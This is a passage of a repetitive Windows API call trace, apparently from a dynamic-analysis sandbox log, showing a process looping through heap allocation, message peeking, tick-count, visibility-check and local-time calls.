Flags=0x8, Size=0x18) returned 0x383ee58 [0189.921] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.921] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.922] GetTickCount () returned 0x115f9e9 [0189.922] GetTickCount () returned 0x115f9e9 [0189.922] GetTickCount () returned 0x115f9e9 [0189.922] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.922] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.922] GetTickCount () returned 0x115f9e9 [0189.922] IsWindowVisible (hWnd=0x30268) returned 0 [0189.922] IsWindowVisible (hWnd=0x40298) returned 0 [0189.922] IsWindowVisible (hWnd=0x60106) returned 0 [0189.922] Sleep (dwMilliseconds=0x0) [0189.923] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x36d)) [0189.923] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.923] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.923] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.923] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.924] GetCurrentProcessId () returned 0x9e0 [0189.924] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.924] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.924] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.924] GetTickCount () returned 0x115f9f9 [0189.924] GetTickCount () returned 0x115f9f9 [0189.924] GetTickCount () returned 0x115f9f9 [0189.924] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.924] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.924] GetTickCount () returned 0x115f9f9 [0189.924] IsWindowVisible (hWnd=0x30268) returned 0 [0189.924] IsWindowVisible (hWnd=0x40298) returned 0 [0189.925] IsWindowVisible (hWnd=0x60106) returned 0 [0189.925] Sleep (dwMilliseconds=0x0) [0190.286] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x38d)) [0190.286] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.286] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.287] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.287] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.287] GetCurrentProcessId () returned 0x9e0 [0190.287] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.287] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.287] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.287] GetTickCount () returned 0x115fa18 [0190.287] GetTickCount () returned 0x115fa18 [0190.287] GetTickCount () returned 0x115fa18 [0190.287] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.287] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.287] GetTickCount () returned 0x115fa18 [0190.287] IsWindowVisible (hWnd=0x30268) returned 0 [0190.287] IsWindowVisible (hWnd=0x40298) returned 0 [0190.287] IsWindowVisible (hWnd=0x60106) returned 0 [0190.287] Sleep (dwMilliseconds=0x0) [0190.289] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x38d)) [0190.289] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.289] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.289] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.289] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.289] GetCurrentProcessId () returned 0x9e0 [0190.289] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.289] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.289] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.289] GetTickCount () returned 0x115fa18 [0190.289] GetTickCount () returned 0x115fa18 [0190.289] GetTickCount () returned 0x115fa18 [0190.289] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.289] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.289] GetTickCount () returned 0x115fa18 [0190.290] IsWindowVisible (hWnd=0x30268) returned 0 [0190.290] IsWindowVisible (hWnd=0x40298) returned 0 [0190.290] IsWindowVisible (hWnd=0x60106) returned 0 [0190.290] Sleep (dwMilliseconds=0x0) [0190.292] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x38d)) [0190.292] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.292] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.292] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.292] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.292] GetCurrentProcessId () returned 0x9e0 [0190.292] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.292] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.292] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.292] GetTickCount () returned 0x115fa18 [0190.292] GetTickCount () returned 0x115fa18 [0190.292] GetTickCount () returned 0x115fa18 [0190.292] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.292] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.292] GetTickCount () returned 0x115fa18 [0190.293] IsWindowVisible (hWnd=0x30268) returned 0 [0190.293] IsWindowVisible (hWnd=0x40298) returned 0 [0190.293] IsWindowVisible (hWnd=0x60106) returned 0 [0190.293] Sleep (dwMilliseconds=0x0) [0190.295] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x38d)) [0190.295] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.295] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.295] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.295] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.295] GetCurrentProcessId () returned 0x9e0 [0190.295] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.295] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.296] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.296] GetTickCount () returned 0x115fa18 [0190.296] GetTickCount () returned 0x115fa18 [0190.296] GetTickCount () returned 0x115fa18 [0190.296] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.296] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.296] GetTickCount () returned 0x115fa18 [0190.297] IsWindowVisible (hWnd=0x30268) returned 0 [0190.297] IsWindowVisible (hWnd=0x40298) returned 0 [0190.297] IsWindowVisible (hWnd=0x60106) returned 0 [0190.297] Sleep (dwMilliseconds=0x0) [0190.298] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x39c)) [0190.298] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.298] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.298] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.298] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.298] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.298] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.298] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.299] GetTickCount () returned 0x115fa28 [0190.299] GetTickCount () returned 0x115fa28 [0190.299] CoFreeUnusedLibraries () [0190.299] DllCanUnloadNow () returned 0x1 [0190.299] GetTickCount () returned 0x115fa28 [0190.299] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.299] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.299] GetTickCount () returned 0x115fa28 [0190.299] IsWindowVisible (hWnd=0x30268) returned 0 [0190.300] IsWindowVisible (hWnd=0x40298) returned 0 [0190.300] IsWindowVisible (hWnd=0x60106) returned 0 [0190.300] Sleep (dwMilliseconds=0x0) [0190.306] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x39c)) [0190.306] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.306] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.306] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.306] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.307] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.307] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.307] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.307] GetTickCount () returned 0x115fa28 [0190.307] GetTickCount () returned 0x115fa28 [0190.307] CoFreeUnusedLibraries () [0190.307] DllCanUnloadNow () returned 0x1 [0190.308] GetTickCount () returned 0x115fa28 [0190.308] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.308] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.308] GetTickCount () returned 0x115fa28 [0190.308] IsWindowVisible (hWnd=0x30268) returned 0 [0190.308] IsWindowVisible (hWnd=0x40298) returned 0 [0190.308] IsWindowVisible (hWnd=0x60106) returned 0 [0190.308] Sleep (dwMilliseconds=0x0) [0190.309] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x39c)) [0190.309] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.309] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.310] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.310] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.310] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.310] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.310] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.310] GetTickCount () returned 0x115fa28 [0190.310] GetTickCount () returned 0x115fa28 [0190.310] CoFreeUnusedLibraries () [0190.310] DllCanUnloadNow () returned 0x1 [0190.310] GetTickCount () returned 0x115fa28 [0190.310] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.311] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.311] GetTickCount () returned 0x115fa28 [0190.311] IsWindowVisible (hWnd=0x30268) returned 0 [0190.311] IsWindowVisible (hWnd=0x40298) returned 0 [0190.311] IsWindowVisible (hWnd=0x60106) returned 0 [0190.311] Sleep (dwMilliseconds=0x0) [0190.314] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3ac)) [0190.314] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.314] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.315] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.315] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.321] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.321] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.322] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.322] GetTickCount () returned 0x115fa37 [0190.322] GetTickCount () returned 0x115fa37 [0190.323] CoFreeUnusedLibraries () [0190.325] DllCanUnloadNow () returned 0x1 [0190.325] GetTickCount () returned 0x115fa37 [0190.326] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.326] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.326] GetTickCount () returned 0x115fa37 [0190.332] IsWindowVisible (hWnd=0x30268) returned 0 [0190.332] IsWindowVisible (hWnd=0x40298) returned 0 [0190.333] IsWindowVisible (hWnd=0x60106) returned 0 [0190.333] Sleep (dwMilliseconds=0x0) [0190.334] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3bb)) [0190.336] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.336] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.336] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.336] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.342] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.347] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.347] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.347] GetTickCount () returned 0x115fa56 [0190.347] GetTickCount () returned 0x115fa56 [0190.349] CoFreeUnusedLibraries () [0190.349] DllCanUnloadNow () returned 0x1 [0190.349] GetTickCount () returned 0x115fa56 [0190.349] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.349] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.349] GetTickCount () returned 0x115fa56 [0190.351] IsWindowVisible (hWnd=0x30268) returned 0 [0190.352] IsWindowVisible (hWnd=0x40298) returned 0 [0190.352] IsWindowVisible (hWnd=0x60106) returned 0 [0190.352] Sleep (dwMilliseconds=0x0) [0190.352] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3cb)) [0190.353] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.353] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.353] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.353] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.353] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.353] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.354] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.354] GetTickCount () returned 0x115fa56 [0190.354] GetTickCount () returned 0x115fa56 [0190.354] CoFreeUnusedLibraries () [0190.354] DllCanUnloadNow () returned 0x1 [0190.354] GetTickCount () returned 0x115fa56 [0190.354] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.354] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.354] GetTickCount () returned 0x115fa56 [0190.354] IsWindowVisible (hWnd=0x30268) returned 0 [0190.354] IsWindowVisible (hWnd=0x40298) returned 0 [0190.354] IsWindowVisible (hWnd=0x60106) returned 0 [0190.354] Sleep (dwMilliseconds=0x0) [0190.355] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3cb)) [0190.355] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.355] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.356] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.356] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.356] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.356] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.356] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.356] GetTickCount () returned 0x115fa56 [0190.356] GetTickCount () returned 0x115fa56 [0190.356] CoFreeUnusedLibraries () [0190.356] DllCanUnloadNow () returned 0x1 [0190.356] GetTickCount () returned 0x115fa56 [0190.356] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.356] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.356] GetTickCount () returned 0x115fa56 [0190.357] IsWindowVisible (hWnd=0x30268) returned 0 [0190.357] IsWindowVisible (hWnd=0x40298) returned 0 [0190.357] IsWindowVisible (hWnd=0x60106) returned 0 [0190.357] Sleep (dwMilliseconds=0x0) [0190.358] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3cb)) [0190.358] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.358] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.358] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.358] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.358] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.358] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.358] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.359] GetTickCount () returned 0x115fa56 [0190.359] GetTickCount () returned 0x115fa56 [0190.359] CoFreeUnusedLibraries () [0190.359] DllCanUnloadNow () returned 0x1 [0190.359] GetTickCount () returned 0x115fa56 [0190.359] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.359] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.359] GetTickCount () returned 0x115fa56 [0190.359] IsWindowVisible (hWnd=0x30268) returned 0 [0190.359] IsWindowVisible (hWnd=0x40298) returned 0 [0190.359] IsWindowVisible (hWnd=0x60106) returned 0 [0190.359] Sleep (dwMilliseconds=0x0) [0190.360] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3db)) [0190.360] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.360] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.360] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.360] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.361] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.361] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.361] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.361] GetTickCount () returned 0x115fa66 [0190.361] GetTickCount () returned 